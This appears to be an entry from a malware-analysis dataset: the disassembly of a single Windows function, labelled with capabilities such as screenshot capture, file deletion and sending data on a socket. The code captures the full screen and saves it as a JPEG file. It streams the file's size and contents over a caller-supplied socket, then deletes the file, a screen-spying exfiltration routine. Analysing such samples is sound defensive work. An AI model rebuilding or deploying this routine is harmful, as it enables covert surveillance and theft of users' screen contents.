Function at 0x1400042d0
Capabilities:
Capture screenshot
Delete file
Send data
Send data on socket

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x540]
sub rsp, 0x640
mov rax, qword [0x140012010]
xor rax, rsp
mov qword [rbp + 0x530], rax
mov r12, rcx
xor r13d, r13d
lea r8, [rsp + 0x78]
lea edx, [r13 + 1]
xor ecx, ecx
call qword [sym.imp.ole32.dll_CreateStreamOnHGlobal]
mov dword [rbp + 0x100], 1
mov qword [rbp + 0x108], r13
mov qword [rbp + 0x110], r13
xor r8d, r8d
lea rdx, [rbp + 0x100]
lea rcx, [rbp + 0xe0]
call qword [sym.imp.gdiplus.dll_GdiplusStartup]
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetDC]
mov r14, rax
lea ecx, [r13 + 1]
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov esi, eax
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov ebx, eax
mov rcx, r14
call qword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov rdi, rax
mov r8d, esi
mov edx, ebx
mov rcx, r14
call qword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov r15, rax
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.GDI32.dll_SelectObject]
mov dword [rsp + 0x40], 0xcc0020
mov dword [rsp + 0x38], r13d
mov dword [rsp + 0x30], r13d
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], esi
mov r9d, ebx
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call qword [sym.imp.GDI32.dll_BitBlt]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xe8], xmm0
mov qword [rbp + 0xf8], rax
lea rax, vtable.Gdiplus::Bitmap.0
mov qword [rbp + 0xe8], rax
mov qword [rsp + 0x70], r13
lea r8, [rsp + 0x70]
xor edx, edx
mov rcx, r15
call qword [sym.imp.gdiplus.dll_GdipCreateBitmapFromHBITMAP]
mov esi, eax
mov dword [rbp + 0xf8], eax
mov rdi, qword [rsp + 0x70]
mov qword [rbp + 0xf0], rdi
mov dword [rbp + 0x90], r13d
mov dword [rsp + 0x68], r13d
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x90]
call qword [sym.imp.gdiplus.dll_GdipGetImageEncodersSize]
mov ecx, dword [rsp + 0x68]
test ecx, ecx
je 0x1400044d1
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbx, rax
test rax, rax
je 0x1400044d1
mov r8, rax
mov edx, dword [rsp + 0x68]
mov ecx, dword [rbp + 0x90]
call qword [sym.imp.gdiplus.dll_GdipGetImageEncoders]
mov r8d, r13d
mov r10d, dword [rbp + 0x90]
test r10d, r10d
je 0x1400044c8
lea r11, str.image_jpeg
mov eax, r8d
imul r9, rax, 0x68
mov rdx, qword [r9 + rbx + 0x40]
mov rax, 0xffffffffffffffff
nop word [rax + rax]
movzx ecx, word [rdx + rax*2 + 2]
cmp cx, word [r11 + rax*2 + 2]
jne 0x1400044b2
add rax, 2
cmp rax, 0xb
je 0x1400044bc
movzx ecx, word [rdx + rax*2]
cmp cx, word [r11 + rax*2]
je 0x140004490
inc r8d
cmp r8d, r10d
jae 0x1400044c8
jmp 0x140004473
movups xmm0, xmmword [r9 + rbx]
movups xmmword [rbp + 0x118], xmm0
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
xorps xmm0, xmm0
movups xmmword [rbp + 0x98], xmm0
mov qword [rbp + 0xa8], r13
mov qword [rbp + 0xb0], r13
mov r8d, send
lea rdx, [0x14000cc80]
lea rcx, [rbp + 0x98]
call fcn.140009470
nop
lea rcx, [rbp + 0x98]
cmp qword [rbp + 0xb0], 0x10
cmovae rcx, qword [rbp + 0x98]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
xor r9d, r9d
lea r8, [rbp + 0x118]
lea rdx, str.safetodelete.jpeg
mov rcx, rdi
call qword [sym.imp.gdiplus.dll_GdipSaveImageToFile]
test eax, eax
cmovne esi, eax
xor r9d, r9d
lea r8, [rbp + 0x118]
mov rdx, qword [rsp + 0x78]
mov rcx, rdi
call qword [sym.imp.gdiplus.dll_GdipSaveImageToStream]
test eax, eax
cmovne esi, eax
mov dword [rbp + 0xf8], esi
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp - 0x80]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp + 0x98]
cmp qword [rbp + 0xb0], 0x10
cmovae rdx, qword [rbp + 0x98]
lea rcx, [rbp - 0x80]
call fcn.140008630
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
lea rbx, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x80], rbx
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x7c], edx
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x80]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator__void_const___ptr64]
test al, al
je 0x1400045db
mov rcx, r12
call qword [sym.imp.WS2_32.dll_closesocket]
mov ecx, dword [rbp + 0xa8]
call qword [sym.imp.WS2_32.dll_htonl]
mov dword [rbp + 0xb8], eax
xor r9d, r9d
lea r8d, [r9 + 4]
lea rdx, [rbp + 0xb8]
mov rcx, r12
call qword [sym.imp.WS2_32.dll_send]
movabs rax, 0x7fffffffffffffff
mov rcx, qword [rbp + 0xa8]
sub rax, rcx
cmp rax, 1
jb 0x14000491d
lea r9, [rbp + 0x98]
cmp qword [rbp + 0xb0], 0x10
cmovae r9, qword [rbp + 0x98]
mov qword [rsp + 0x30], 1
lea rax, [0x14000cc14]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rcx, [rbp + 0xc0]
call fcn.140009c10
nop
lea rdx, [rbp + 0xc0]
cmp qword [rbp + 0xd8], 0x10
cmovae rdx, qword [rbp + 0xc0]
xor r9d, r9d
mov r8d, dword [rbp + 0xd0]
mov rcx, r12
call qword [sym.imp.WS2_32.dll_send]
xor edx, edx
lea r8d, [rdx + 2]
lea rcx, [rbp - 0x80]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::seekg_long_long___int64___int____ptr64]
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x80]
call qword [sym.imp.MSVCP140.dll_public:_class_std::fpos_struct__Mbstatet____cdecl_std::basic_istream_char__struct_std::char_traits_char__::tellg_void____ptr64]
mov rcx, qword [rax + 8]
add rcx, qword [rax]
mov dword [rbp + 0x94], ecx
xor r8d, r8d
xor edx, edx
lea rcx, [rbp - 0x80]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::seekg_long_long___int64___int____ptr64]
xor r9d, r9d
lea r8d, [r9 + 4]
lea rdx, [rbp + 0x94]
mov rcx, r12
call qword [sym.imp.WS2_32.dll_send]
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x80]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::eof_void_const___ptr64]
test al, al
jne 0x140004747
nop word [rax + rax]
mov r8d, 0x400
lea rdx, [rbp + 0x130]
lea rcx, [rbp - 0x80]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::read_char____ptr64__long_long___int64_____ptr64]
xor r9d, r9d
mov r8d, dword [rbp - 0x78]
lea rdx, [rbp + 0x130]
mov rcx, r12
call qword [sym.imp.WS2_32.dll_send]
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x80]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::eof_void_const___ptr64]
test al, al
je 0x140004700
lea rcx, [rbp - 0x70]
call fcn.140008580
test rax, rax
jne 0x140004771
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x80]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
lea rcx, [rbp + 0x98]
cmp qword [rbp + 0xb0], 0x10
cmovae rcx, qword [rbp + 0x98]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov rcx, r12
call qword [sym.imp.WS2_32.dll_closesocket]
nop
mov rdx, qword [rbp + 0xd8]
cmp rdx, 0x10
jb 0x1400047dc
inc rdx
mov rcx, qword [rbp + 0xc0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400047d7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400047d7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ab1c
movdqa xmm0, xmmword [0x14000d190]
movdqu xmmword [rbp + 0xd0], xmm0
mov byte [rbp + 0xc0], 0
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx - 0x80], rbx
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x7c], edx
lea rax, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov qword [rbp - 0x70], rax
cmp qword [rbp + 0x10], 0
je 0x14000484b
mov rax, qword [rbp - 0x58]
lea rcx, [rbp]
cmp qword [rax], rcx
jne 0x14000484b
mov rdx, qword [rbp + 0x20]
mov rcx, qword [rbp + 0x18]
mov qword [rax], rcx
mov rax, qword [rbp - 0x38]
mov qword [rax], rcx
sub edx, ecx
mov rax, qword [rbp - 0x20]
mov dword [rax], edx
cmp byte [rbp + 0xc], 0
je 0x14000485a
lea rcx, [rbp - 0x70]
call fcn.140008580
lea rcx, [rbp - 0x70]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rbp - 0x68]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x30]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rbp + 0xb0]
cmp rdx, 0x10
jb 0x1400048be
inc rdx
mov rcx, qword [rbp + 0x98]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400048b9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400048b9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ab1c
mov qword [rbp + 0xa8], r13
mov qword [rbp + 0xb0], recv
mov byte [rbp + 0x98], 0
mov rcx, rdi
call qword [sym.imp.gdiplus.dll_GdipDisposeImage]
mov rcx, qword [rbp + 0xe0]
call qword [sym.imp.gdiplus.dll_GdiplusShutdown]
mov rcx, qword [rbp + 0x530]
xor rcx, rsp
call fcn.14000a870
lea r11, [rsp + 0x640]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400011e0
nop
int3